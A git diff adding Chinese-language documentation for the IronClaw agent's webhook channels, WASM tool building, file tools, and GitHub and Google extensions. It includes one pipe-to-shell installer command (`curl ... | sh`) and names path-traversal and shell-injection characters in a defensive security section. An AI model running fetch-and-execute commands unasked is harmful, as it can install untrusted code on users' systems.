用户名和显示名称 + - 消息时间戳 + - 回复链(对话上下文) + + + + - 消息文本(已去除 @提及) + - 发送者标识(用户名或名字) + - 该对话中的近期对话历史 + + + + +--- + +## Webhook 密钥(可选) + +当 IronClaw 在 webhook 模式下运行时,Telegram 通过向您的公共 URL 发送 HTTP 请求来传递消息。由于该 URL 可从互联网访问,任何第三方都可以向其发送伪造请求。 + +Webhook 密钥是您在 IronClaw 中配置的共享令牌。Telegram 在每个请求中包含该令牌。IronClaw 拒绝不携带正确令牌的任何请求,因此只有真正的 Telegram 流量才能到达您的智能体。 + +要启用此功能,在 `.ironclaw/channels/telegram.capabilities.json` 中添加 `telegram_webhook_secret`: + +```json +{ + "telegram_webhook_secret": "your-secret-here" +} +``` + +生成合适的值: + +```bash +openssl rand -hex 16 +``` + + +Webhook 密钥仅在 `polling_enabled` 为 `false` 时有效。如果您使用轮询,此选项无效。 + + +--- + +## 故障排除 + + + + **轮询:** 检查日志中的 `getUpdates` 错误,并验证机器人令牌有效。 + + **Webhook:** 验证 HTTPS URL 可访问且隧道正在运行。 + + + + - 确保 `dm_policy` 设为 `pairing` 而非 `allowlist` + - 验证您的实例可以访问 `api.telegram.org` + + + + - 确认 `bot_username` 已设置且与机器人用户名完全匹配(不带 `@`) + - 验证机器人有读取群组消息的权限 + + + + - 在 @BotFather 中禁用隐私模式:`/mybots` → Bot Settings → Group Privacy → 关闭 + - 更改隐私设置后在群组中移除并重新添加机器人 + + + + - 将 `respond_to_all_group_messages` 设为 `false` + - 验证配置已保存并重启智能体 + + + + 向导等待 120 秒接收第一条消息。如果超时,请在 Telegram 中向您的机器人发送 `/start`,然后重新运行 `ironclaw onboard --channels-only`。 + + diff --git a/docs/zh/channels/webhook.mdx b/docs/zh/channels/webhook.mdx new file mode 100644 index 0000000000..19eaec8c8b --- /dev/null +++ b/docs/zh/channels/webhook.mdx @@ -0,0 +1,188 @@ +--- +title: HTTP Webhook +sidebarTitle: Webhook +description: 用于外部集成的 REST API +icon: globe +--- + +HTTP Webhook 频道提供 REST API,用于将外部服务与 IronClaw 集成。 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](../quickstart) + + +--- + +## 启用 Webhook + +```bash +export HTTP_ENABLED=true +export HTTP_HOST=0.0.0.0 +export HTTP_PORT=8080 +export HTTP_WEBHOOK_SECRET=your-secret +``` + +或在引导过程中: +``` +Step 6: Channel Configuration +→ Select "HTTP Webhook" +→ Port: 8080 +``` + +--- + +## 安全 + + +HTTP webhook 默认绑定到 `0.0.0.0:8080`。如果不需要外部 webhook 传递,请设置 `HTTP_HOST=127.0.0.1`。 + + +### 共享密钥验证 + +配置 webhook 密钥以验证请求: + +```bash +export HTTP_WEBHOOK_SECRET="your-secret-here" +``` + +密钥通过 `X-Webhook-Secret` 请求头发送。 + +### 速率限制 + +- **请求体大小**:最大 64 KB +- **速率**:每个 IP 每分钟 60 个请求 + +--- + +## 发送消息 + +### 请求格式 + +```bash +curl -X POST http://localhost:8080/webhook \ + -H "Content-Type: application/json" \ + -H "X-Webhook-Secret: your-secret" \ + -d '{ + "user_id": "default", + "message": "Hello, IronClaw!" + }' +``` + +### 响应格式 + +```json +{ + "job_id": "uuid", + "status": "queued" +} +``` + +--- + +## 请求字段 + +| 字段 | 类型 | 必填 | 描述 | +|-------|------|----------|-------------| +| `user_id` | string | 是 | 用户标识符 | +| `message` | string | 是 | 消息内容 | +| `conversation_id` | string | 否 | 继续现有对话 | +| `metadata` | object | 否 | 任意元数据 | + +## 响应字段 + +| 字段 | 类型 | 描述 | +|-------|------|-------------| +| `job_id` | string | 用于状态检查的任务 UUID | +| `status` | string | `queued`、`running`、`completed` | +| `response` | string | 智能体响应(完成时) | + +--- + +## 检查状态 + +```bash +curl http://localhost:8080/jobs/{job_id} -H "X-Webhook-Secret: your-secret" +``` + +响应: +```json +{ + "id": "uuid", + "status": "completed", + "response": "Hello! How can I help?", + "created_at": "2024-01-15T10:30:00Z", + "completed_at": "2024-01-15T10:30:05Z" +} +``` + +--- + +## 错误响应 + +| 状态码 | 含义 | +|--------|---------| +| `400` | 无效的请求体 | +| `401` | 缺少或无效的密钥 | +| `429` | 超出速率限制 | +| `500` | 服务器错误 | + +--- + +## 集成示例 + +### GitHub Webhook + +配置 GitHub 将事件发送到您的 IronClaw webhook URL: + +```bash +# GitHub webhook URL +https://your-server:8080/webhook + +# Secret: 您配置的 HTTP_WEBHOOK_SECRET +``` + +### Zapier + +使用 Zapier 的 Webhook 操作将事件发送到 IronClaw。 + +### 自定义脚本 + +```python +import requests + +response = requests.post( + "http://localhost:8080/webhook", + headers={"X-Webhook-Secret": "your-secret"}, + json={"user_id": "automation", "message": "Process this data"} +) + +print(response.json()["job_id"]) +``` + +--- + +## 故障排除 + + + + - 检查 IronClaw 是否在运行 + - 验证 `HTTP_PORT` 正确 + - 检查防火墙:`sudo ufw allow 8080` + + + + - 包含 `X-Webhook-Secret` 请求头 + - 验证密钥与配置匹配 + + + + - 速率限制:每分钟 60 个请求 + - 实现指数退避 + + + + - 检查日志:`RUST_LOG=ironclaw=debug ironclaw run` + - 验证 JSON 格式 + - 检查 `user_id` 有效 + + diff --git a/docs/zh/extensions/building-a-tool.md b/docs/zh/extensions/building-a-tool.md new file mode 100644 index 0000000000..4bcd3f9532 --- /dev/null +++ b/docs/zh/extensions/building-a-tool.md @@ -0,0 +1,241 @@ +--- +title: 从零构建一个工具 +description: 使用 Rust 构建一个天气 WASM 工具 +--- + +本教程带你从零实现一个 weather-tool:通过 Open-Meteo(免费、无需 API Key)获取实时天气、5 天预报与空气质量,并让 IronClaw 代理可直接调用。 + +目标效果: + +> “东京现在天气怎么样?” + +完整参考实现: + + + 查看完整代码:lib.rs、Cargo.toml 与 capabilities.json。 + + +--- + +## 前置准备 + +安装 Rust 并添加 WASM 目标: + +```bash +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +rustup target add wasm32-wasip2 +``` + +--- + +## 1. 创建项目 + +```bash +cargo new --lib weather-tool +cd weather-tool +``` + +将 `Cargo.toml` 替换为: + +```toml Cargo.toml +[package] +name = "weather-tool" +version = "0.1.0" +edition = "2021" +description = "Weather information tool for IronClaw (WASM component)" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +wit-bindgen = "=0.36" +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +[profile.release] +opt-level = "s" +lto = true +strip = true +codegen-units = 1 + +[workspace] +``` + + +`cdylib` 是构建 WASM 组件所需产物类型;`[workspace]` 可避免被父工作区自动并入。 + + +--- + +## 2. 接入 WIT 接口 + +IronClaw 工具是实现了 WIT 接口的 WASM 组件。宿主提供 HTTP、日志与工作区能力;你的工具需导出 `execute`、`schema`、`description`。 + +`src/lib.rs` 骨架: + +```rust src/lib.rs +wit_bindgen::generate!({ + world: "sandboxed-tool", + path: "../../wit/tool.wit", +}); + +use serde::{Deserialize, Serialize}; + +struct WeatherTool; + +impl exports::near::agent::tool::Guest for WeatherTool { + fn execute(req: exports::near::agent::tool::Request) -> exports::near::agent::tool::Response { + match execute_inner(&req.params) { + Ok(result) => exports::near::agent::tool::Response { output: Some(result), error: None }, + Err(e) => exports::near::agent::tool::Response { output: None, error: Some(e) }, + } + } + + fn schema() -> String { SCHEMA.to_string() } + + fn description() -> String { + "Get weather information using Open-Meteo...".to_string() + } +} + +export!(WeatherTool); +``` + +--- + +## 3. 解析参数并分发动作 + +```rust src/lib.rs +#[derive(Debug, Deserialize)] +#[serde(tag = "action", rename_all = "snake_case")] +enum Action { + GetCurrent(WeatherParams), + GetForecast(WeatherParams), + GetAirQuality(AirQualityParams), +} + +#[derive(Debug, Deserialize)] +struct WeatherParams { + city: String, + #[serde(default)] + country_code: Option, + #[serde(default)] + units: Option, +} + +#[derive(Debug, Deserialize)] +struct AirQualityParams { + lat: f64, + lon: f64, +} + +fn execute_inner(params: &str) -> Result { + let action: Action = serde_json::from_str(params).map_err(|e| format!("Invalid parameters: {e}"))?; + match action { + Action::GetCurrent(p) => get_current(p), + Action::GetForecast(p) => get_forecast(p), + Action::GetAirQuality(p) => get_air_quality(p), + } +} +``` + + +Rust 侧参数结构必须与 JSON Schema 保持一致,否则模型会构造错误参数。 + + +--- + +## 4. 实现业务动作 + +实现 `get_current`、`get_forecast`、`get_air_quality`,并调用 Open-Meteo API。 + +建议拆分两个辅助函数: + +- `geocode(city, country_code)`:城市名转经纬度 +- `api_get(url)`:统一 HTTP 请求与错误处理 + +如果 API 需要密钥,不要在 Rust 代码里手工拼接敏感值。应在 capabilities 文件声明,由宿主代理在请求时注入。 + +--- + +## 5. 定义 JSON Schema + +`schema()` 返回模型可读的参数模式,必须覆盖: + +- action 枚举 +- 每个 action 的参数字段与类型 +- 必填字段 +- 可选字段约束 + +这一步决定模型能否正确调用你的工具。 + +--- + +## 6. 添加 capabilities.json + +最小示例: + +```json +{ + "name": "weather-tool", + "version": "0.1.0", + "description": "Weather information tool", + "network": { + "allowed_hosts": [ + "geocoding-api.open-meteo.com", + "api.open-meteo.com" + ] + } +} +``` + +若使用凭据,还应在 `credentials` 中声明注入规则。 + +--- + +## 7. 构建为 WASM + +```bash +cargo build --release --target wasm32-wasip2 +``` + +产物一般位于: + +- `target/wasm32-wasip2/release/weather_tool.wasm` + +--- + +## 8. 安装并测试 + +```bash +ironclaw tool install ./target/wasm32-wasip2/release/weather_tool.wasm +ironclaw tool list +``` + +然后在聊天中测试: + +- “帮我查东京当前天气” +- “给我看上海未来 5 天预报” +- “查询北京空气质量” + +--- + +## 9. 调试建议 + +- 先用固定参数本地验证 JSON 解析 +- 记录关键日志(城市名、坐标、HTTP 状态) +- 对第三方 API 响应做健壮兜底(字段缺失、空数组、429) +- 输出错误信息时给出可操作建议 + +--- + +## 10. 进一步扩展 + +- 支持多语言输出与单位自动转换 +- 增加重试与退避策略 +- 引入缓存(按城市与时间窗口) +- 增加天气告警和极端天气提示 + + +本页为中文精简版流程,覆盖从 0 到可运行工具的关键步骤。需要逐行完整实现可参考英文原始教程与仓库示例代码。 + diff --git a/docs/zh/extensions/file-tools.mdx b/docs/zh/extensions/file-tools.mdx new file mode 100644 index 0000000000..b2b793486e --- /dev/null +++ b/docs/zh/extensions/file-tools.mdx @@ -0,0 +1,59 @@ +--- +title: 文件处理 +description: 让代理读写本地文件系统 +--- + +文件工具允许代理访问本地文件系统。未使用绝对路径时,路径默认相对工作区根目录解析。 + +--- + +## 启用方式 + +文件工具依赖 `ALLOW_LOCAL_TOOLS=true`,默认关闭以避免托管或共享环境下的误访问。 + +```bash +export ALLOW_LOCAL_TOOLS=true +``` + +--- + +## 可用操作 + +- `read_file`:读取文件内容 +- `write_file`:写入文件,必要时自动创建父目录 +- `list_dir`:列出目录内容 +- `apply_patch`:以统一 diff 的方式精确修改已有文件(推荐) + +--- + +## 示例 + +> "读取 `projects/ironclaw/notes.md`" + +> "写一个 README 到 `projects/ironclaw/README.md`" + +> "列出 `projects/` 目录下有哪些文件" + +> "把 `projects/notes.md` 的状态改成 Completed" + +--- + +## 安全考虑 + + + + 相对路径如 `notes/todo.md` 会解析为 `/notes/todo.md`,绝对路径按原样处理。 + + + + 会检测并拦截 `../` 等路径穿越模式,阻止越出工作区根目录。 + + + + `read_file` 输出会经过 Safety Layer;疑似 API Key、Token、私钥等敏感内容会被打码。 + + + + 文件路径不会送入 shell。路径中的 `;`、`&`、`$()` 仅按普通字符处理,无法注入命令。 + + diff --git a/docs/zh/extensions/github.md b/docs/zh/extensions/github.md new file mode 100644 index 0000000000..e322e2925c --- /dev/null +++ b/docs/zh/extensions/github.md @@ -0,0 +1,111 @@ +--- +title: "Github" +description: "让智能体访问 Github" +icon: github +--- + +Github 扩展允许智能体与 Github 仓库、议题、拉取请求等交互,非常适合自动化代码相关任务、管理项目或从 Github 收集信息。 + +--- + +## 设置 + + + + + +要使用 Github 扩展,您需要从 Github 获取个人访问令牌。 + + + + + + +在终端中运行以下命令安装 Github 扩展: + +```bash +ironclaw registry install github +``` + + + + + +安装扩展后,需要在 IronClaw 中配置您的 Github API 密钥。运行: + +```bash +ironclaw tool auth github +``` + +然后按照提示输入您的 API 密钥。 + + +请确保创建细粒度的个人访问令牌,仅授予用例所需的必要权限。如有疑问,选择最小权限选项,之后随时可以创建具有不同权限的新令牌。 + + + + + + +--- + +## 可用操作: + +以下是智能体使用 Github 扩展可以执行的一些操作: + +- `get_repo`:获取仓库信息 +- `list_issues`:列出仓库中的所有议题 +- `create_issue`:创建新议题 +- `get_issue`:获取特定议题的详细信息 +- `list_pull_requests`:列出拉取请求 +- `get_pull_request`:获取特定拉取请求的详细信息 +- `get_pull_request_files`:获取拉取请求中的文件列表 +- `create_pr_review`:提交拉取请求审查 +- `list_repos`:列出仓库(用户/组织) +- `get_file_content`:获取仓库中文件的内容 +- `trigger_workflow`:手动触发 GitHub Actions 工作流 +- `get_workflow_runs`:列出最近的工作流运行 + +--- + +## 在公共仓库上工作 + +让我们为智能体配置自己的 Github 账户,以便它可以在**公共仓库**中创建议题和评论拉取请求。 + + + + + + +前往 https://github.com 为智能体创建新账户。如果您已使用个人账户登录,需要暂时登出以创建新账户,之后可以立即重新登录。 + + + + + +在智能体的 Github 账户上,前往 [Settings -> Developer settings -> Personal access tokens -> Tokens (classic)](https://github.com/settings/tokens) 并生成具有以下权限的新令牌(classic):`repo` -> `public_repo` + + + + +获取令牌后,运行以下命令认证 Github 扩展: + +```bash +ironclaw tool auth github +``` + +然后按照提示输入刚生成的令牌。 + + + + + +让智能体在您的某个公共仓库中创建一个测试议题,检查议题是否创建成功。 + + +让智能体阅读 [Github Markdown 指南](https://github.com/adam-p/markdown-here/wiki/markdown-cheatsheet) 并在创建议题和评论时记住这些格式规范,可以让格式更加美观! + + + + + diff --git a/docs/zh/extensions/google-calendar.md b/docs/zh/extensions/google-calendar.md new file mode 100644 index 0000000000..7904f256b6 --- /dev/null +++ b/docs/zh/extensions/google-calendar.md @@ -0,0 +1,152 @@ +--- +title: "Google Calendar" +description: "让您的智能体管理 Google Calendar" +--- + +Google Calendar 扩展允许您的智能体与 Google Calendar 交互,包括创建事件、查看日程、更新预约等。它非常适合自动化排程、设置提醒,或者直接通过智能体管理会议。 + +--- + +## 设置 + + + + + +前往 [Google Cloud Console](https://console.cloud.google.com) 创建一个新项目,或者选择一个已有项目。 + +1. 点击 **Select a project** → **New Project** +2. 为项目命名(例如 `ironclaw-calendar`),然后点击 **Create** + + + + + +选择项目后,进入 **APIs & Services → Library**,搜索 **Google Calendar API**,然后点击 **Enable**。 + + + + + +进入 **Google Auth Platform → Clients** 并创建一个新客户端: + +1. 点击 **Create client** +2. 将 **Application type** 设为 **Web application** +3. 为客户端命名(例如 `ironclaw-calendar`) +4. 在 **Authorized redirect URIs** 下点击 **+ Add URI**,填入: + + ``` + http://127.0.0.1:9876/callback + ``` + +5. 点击 **Create**,然后复制展示出来的 **Client ID** 和 **Client Secret** + + + + + + +由于应用处于 **Testing** 模式,只有被明确添加的用户才能完成授权。前往 **APIs & Services → OAuth consent screen**,向下滚动到 **Test users**,然后点击 **+ Add users**。 + +把将要使用这个扩展的 Google 账号添加进去(例如 `yourname@gmail.com`)。在应用需要验证之前,最多可以添加 100 个测试用户。 + + +当应用仍处于 Testing 模式时,只有测试用户可以完成 OAuth 流程。如果您看到 “access blocked” 错误,请确认当前账号已经被列在这里。 + + + + + + +Google OAuth 回调会在远程服务器的 `9876` 端口上运行。由于该端口并未公开暴露,您需要创建一个 **SSH 隧道**,把本机上的 `localhost:9876` 转发到服务器上的 `127.0.0.1:9876`。这样,当 Google 在授权完成后重定向到 `http://127.0.0.1:9876/callback` 时,请求才能正确到达服务器。 + +运行以下命令建立隧道: + +```bash +ssh -p 15222 -L 9876:127.0.0.1:9876 solid-wolf@agent4.near.ai +``` + +在使用扩展期间,请保持这个终端会话处于打开状态。 + + +`-L 9876:127.0.0.1:9876` 参数就是用来建立隧道的。没有它,OAuth 回调会失败,因为 9876 端口只能从服务器内部访问。 + + + + + + +使用前一步拿到的 **Client ID** 和 **Client Secret**,在服务器上将它们导出为环境变量: + +```bash +export GOOGLE_OAUTH_CLIENT_ID= +export GOOGLE_OAUTH_CLIENT_SECRET= +``` + + + + + +运行以下命令安装扩展: + +```bash +ironclaw registry install google-calendar +``` + + + + + +向 IronClaw 提供您的 OAuth 凭证: + +```bash +ironclaw tool auth google-calendar +``` + +按照提示粘贴 `credentials.json` 文件内容,或者提供该文件的路径。IronClaw 会为您打开一个浏览器窗口来授权访问日历。授权完成后,token 会被安全存储。 + + +授权流程只需要运行一次。之后 IronClaw 会在需要时自动刷新访问 token。 + + + + + + +--- + +## 可用操作 + +以下是您的智能体可以通过 Google Calendar 扩展执行的一些操作: + +- `list_calendars`:列出您 Google 账号中的所有日历 +- `list_events`:列出某个日历中的即将发生事件 +- `get_event`:获取某个事件的详细信息 +- `create_event`:创建新的日历事件 +- `update_event`:更新已有事件(标题、时间、描述、参会人) +- `delete_event`:删除日历事件 +- `find_free_slots`:在一个或多个日历中查找空闲时间段 +- `add_attendees`:为现有事件添加参会人 +- `set_reminder`:为事件设置提醒 + +--- + +## 使用示例 + +配置完成后,您可以对智能体说: + +- _“帮我安排一个下周二下午 3 点的一小时团队同步会。”_ +- _“我这周的日程是什么?”_ +- _“把我周五的会议改到周一上午。”_ +- _“帮我和 john@example.com 找一个这周 30 分钟的空闲时间。”_ +- _“取消我周四下午的所有会议。”_ + +--- + +## 使用多个日历 + +如果您的 Google 账号下有多个日历(个人、工作、共享等),您可以明确告诉智能体要使用哪一个: + + +您可以这样说:_“把这件事加到我的 Work 日历,而不是个人日历。”_ 智能体会先用 `list_calendars` 按名称找到对应日历,再去创建事件。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/calendar.md b/docs/zh/extensions/google/calendar.md new file mode 100644 index 0000000000..3b0d59571a --- /dev/null +++ b/docs/zh/extensions/google/calendar.md @@ -0,0 +1,80 @@ +--- +title: "Google Calendar" +description: "让您的智能体管理 Google Calendar" +--- + +Google Calendar 扩展允许智能体与您的日历交互,包括创建事件、查看安排、更新会议等。适合自动化排程、提醒和会议管理。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 [**Google Calendar API**](https://console.cloud.google.com/marketplace/product/google/calendar-json.googleapis.com?q=search&referrer=search) 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install google-calendar +``` + + + + + +```bash +ironclaw tool auth google-calendar +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `list_calendars`: 列出账号中的所有日历 +- `list_events`: 列出日历中的即将发生事件 +- `get_event`: 获取指定事件详情 +- `create_event`: 创建新事件 +- `update_event`: 更新已有事件(标题、时间、描述、参会人) +- `delete_event`: 删除事件 +- `find_free_slots`: 跨一个或多个日历查找空闲时间 +- `add_attendees`: 向事件添加参会人 +- `set_reminder`: 为事件设置提醒 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"下周二下午 3 点安排一个 1 小时团队同步会"_ +- _"我这周日程是什么?"_ +- _"把周五会议改到周一上午"_ +- _"帮我和 john@example.com 找这周 30 分钟空档"_ +- _"取消我周四下午所有会议"_ + +--- + +## 多日历场景 + +如果账号里有多个日历(个人、工作、共享),可以明确指定目标日历: + + +例如:_"加到我的 Work 日历,不是个人日历。"_ 智能体会先用 `list_calendars` 按名称定位日历再执行操作。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/docs.md b/docs/zh/extensions/google/docs.md new file mode 100644 index 0000000000..ab90bd06dc --- /dev/null +++ b/docs/zh/extensions/google/docs.md @@ -0,0 +1,87 @@ +--- +title: "Google Docs" +description: "让您的智能体创建并编辑 Google 文档" +--- + +Google Docs 扩展允许智能体操作 Google 文档,包括创建文档、读取内容、插入与格式化文本、管理表格与列表、执行批量更新。适合报告起草、内容编辑与文档流程自动化。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 **Google Docs API** 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install google-docs +``` + + + + + +```bash +ironclaw tool auth google-docs +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `create_document`: 创建新文档,可指定标题 +- `get_document`: 获取文档元数据(标题、修订、命名范围) +- `read_content`: 提取文档纯文本或结构化内容 +- `insert_text`: 在指定索引插入文本 +- `delete_content`: 按起止索引删除内容 +- `replace_text`: 全文查找替换 +- `format_text`: 对文本范围应用字符样式(粗体、斜体、字号、颜色) +- `format_paragraph`: 对段落应用样式(标题级别、对齐、间距、缩进) +- `insert_table`: 插入指定行列数表格 +- `create_list`: 将段落范围转换为有序或无序列表 +- `batch_update`: 一次 API 调用提交多条更新请求 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"创建一个名为 'Q2 Marketing Plan' 的文档"_ +- _"读取文档 ID 1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgVE2upms 的内容"_ +- _"在报告顶部插入一段摘要"_ +- _"把文档里所有 TBD 替换成 Pending Review"_ +- _"把标题设为 Heading 1 并加粗"_ +- _"新增一个 3 列预算拆分表格"_ + +--- + +## 文档 ID + +Google 文档 ID 位于 URL 中: + +``` +https://docs.google.com/document/d//edit +``` + + +您可以直接把完整链接发给智能体,智能体会自动提取文档 ID。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/drive.md b/docs/zh/extensions/google/drive.md new file mode 100644 index 0000000000..f47c5da9ea --- /dev/null +++ b/docs/zh/extensions/google/drive.md @@ -0,0 +1,85 @@ +--- +title: "Google Drive" +description: "让您的智能体管理 Google Drive 文件与文件夹" +--- + +Google Drive 扩展允许智能体操作云端文件,包括列出、搜索、上传、下载、共享和组织文件夹。支持个人盘与共享盘,适合自动化文件流转和权限管理。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 **Google Drive API** 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install google-drive +``` + + + + + +```bash +ironclaw tool auth google-drive +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `list_files`: 列出文件与文件夹,可加搜索语句、MIME 类型过滤、目录范围 +- `get_file`: 获取文件元数据(名称、类型、大小、所有者、权限) +- `download_file`: 以文本或 base64 下载文件内容 +- `upload_file`: 上传新文件并指定内容与 MIME 类型 +- `update_file`: 更新已有文件内容或名称 +- `create_folder`: 创建文件夹,可指定父目录 +- `delete_file`: 永久删除文件或文件夹 +- `trash_file`: 将文件移入回收站(可恢复) +- `share_file`: 按角色(reader/writer/owner)共享给用户或群组 +- `list_permissions`: 列出文件全部权限 +- `remove_permission`: 删除指定权限项 +- `list_shared_drives`: 列出账号可访问的共享盘 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"列出我 Drive 里所有 PDF"_ +- _"把这份报告上传为 Q2-Report.txt"_ +- _"下载我 Drive 里的 budget.csv"_ +- _"在 Work 文件夹里创建 Project Assets 文件夹"_ +- _"把合同以可查看权限共享给 bob@example.com"_ +- _"谁可以访问我的 Roadmap 文档?"_ +- _"把旧提案移到回收站"_ + +--- + +## 共享盘场景 + +如果账号可访问共享盘(团队盘),可以直接指定目标共享盘: + + +例如:_"列出 Engineering 共享盘里的所有文件。"_ 智能体会先用 `list_shared_drives` 按名称匹配再继续检索。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/gmail.md b/docs/zh/extensions/google/gmail.md new file mode 100644 index 0000000000..adf9556c8b --- /dev/null +++ b/docs/zh/extensions/google/gmail.md @@ -0,0 +1,87 @@ +--- +title: "Gmail" +description: "让您的智能体读取、发送并管理 Gmail 邮件" +--- + +Gmail 扩展允许智能体直接操作您的 Gmail 收件箱,包括列出与搜索邮件、读取正文、发送新邮件、创建草稿、回复线程以及移动到垃圾箱。适合自动化邮件流程、监控关键会话和发送通知。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 **Gmail API** 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install gmail +``` + + + + + +```bash +ironclaw tool auth gmail +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `list_messages`: 列出邮件,可附带 Gmail 搜索语法、标签过滤和数量限制 +- `get_message`: 按消息 ID 获取完整邮件内容(含头部、正文、标签) +- `send_message`: 发送新邮件,支持收件人、主题、正文和抄送 +- `create_draft`: 创建草稿但不发送 +- `reply_to_message`: 回复现有线程并保留上下文 +- `trash_message`: 将邮件移入垃圾箱 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"这周我收到 alice@example.com 的哪些邮件?"_ +- _"读取我最新的未读邮件"_ +- _"给 bob@example.com 发一封主题为 'Meeting Notes' 的邮件,附上今天讨论摘要"_ +- _"给项目提案线程起草一条跟进回复"_ +- _"回复发票线程最后一封邮件,告知付款已完成"_ +- _"把 noreply@newsletter.com 的邮件都移到垃圾箱"_ + +--- + +## Gmail 搜索语法 + +`list_messages` 的 `query` 字段支持标准 Gmail 查询: + +| Query | 匹配内容 | +|---|---| +| `from:alice@example.com` | 来自 Alice 的邮件 | +| `subject:invoice` | 主题含 invoice 的邮件 | +| `is:unread` | 未读邮件 | +| `label:work` | 带 work 标签的邮件 | +| `after:2025/01/01` | 2025-01-01 之后收到的邮件 | +| `has:attachment` | 含附件邮件 | + + +可以组合查询:`from:alice@example.com is:unread`。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/oauth-setup.md b/docs/zh/extensions/google/oauth-setup.md new file mode 100644 index 0000000000..32675851a5 --- /dev/null +++ b/docs/zh/extensions/google/oauth-setup.md @@ -0,0 +1,86 @@ +--- +title: "Google OAuth 设置" +description: "IronClaw 中所有 Google 扩展的一次性 OAuth 配置" +--- + +所有 Google 扩展共用同一套 OAuth 2.0 配置。完成一次后,您可以复用同一个 Google Cloud 项目和凭证。 + +--- + + + + + +前往 [Google Cloud Console](https://console.cloud.google.com),新建项目或选择已有项目。 + +1. 点击 **Select a project** → **New Project** +2. 输入项目名(例如 `ironclaw`),点击 **Create** + + + + + +前往 [**Google Auth Platform → Clients**](https://console.cloud.google.com/auth/clients),创建客户端: + +1. 点击 **Create client** +2. 将 **Application type** 设置为 **Web application** +3. 设置名称(例如 `ironclaw`) +4. 在 **Authorized redirect URIs** 中点击 **+ Add URI**,填写: + + ``` + http://127.0.0.1:9876/callback + ``` + +5. 点击 **Create**,复制生成的 **Client ID** 与 **Client Secret** + + + + + +应用处于 **Testing** 模式时,仅已添加的账号可以授权。前往 [**Google Auth Platform → Audience**](https://console.cloud.google.com/auth/audience),在 **Test users** 中点击 **+ Add users**。 + +添加将使用扩展的 Google 账号。应用在正式审核前最多支持 100 个测试用户。 + + +若出现 “access blocked” 错误,请先确认当前账号已被加入测试用户。 + + + + + + +为完成 OAuth 回调,需要让 Google 访问 IronClaw 服务。由于 `9876` 端口仅在服务器内部可访问,您需要将本地端口转发到服务器。 + +在新终端中执行: + +```bash +# ssh -p -L 9876:127.0.0.1:9876 @ +ssh -p 15222 -L 9876:127.0.0.1:9876 liquid-zebra@agent4.near.ai +``` + +在 OAuth 完成前请保持该会话开启。 + + +端口转发会在 SSH 会话存活期间持续有效,关闭会话后自动失效。 + + + +请确保服务器防火墙允许相关端口转发规则。 + + + + + + +连接服务器后,导出 OAuth 凭证: + +```bash +export GOOGLE_OAUTH_CLIENT_ID= +export GOOGLE_OAUTH_CLIENT_SECRET= +``` + + + + + +配置完成后,您可以返回任意 Google 扩展页面继续安装与授权。 \ No newline at end of file diff --git a/docs/zh/extensions/google/sheets.md b/docs/zh/extensions/google/sheets.md new file mode 100644 index 0000000000..387353ddb0 --- /dev/null +++ b/docs/zh/extensions/google/sheets.md @@ -0,0 +1,90 @@ +--- +title: "Google Sheets" +description: "让您的智能体读写 Google 表格" +--- + +Google Sheets 扩展允许智能体操作电子表格,包括创建表格、读写单元格区间、追加行、格式化单元格和管理工作表。使用标准 A1 表示法,适合数据录入自动化与报表生成。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 **Google Sheets API** 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install google-sheets +``` + + + + + +```bash +ironclaw tool auth google-sheets +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 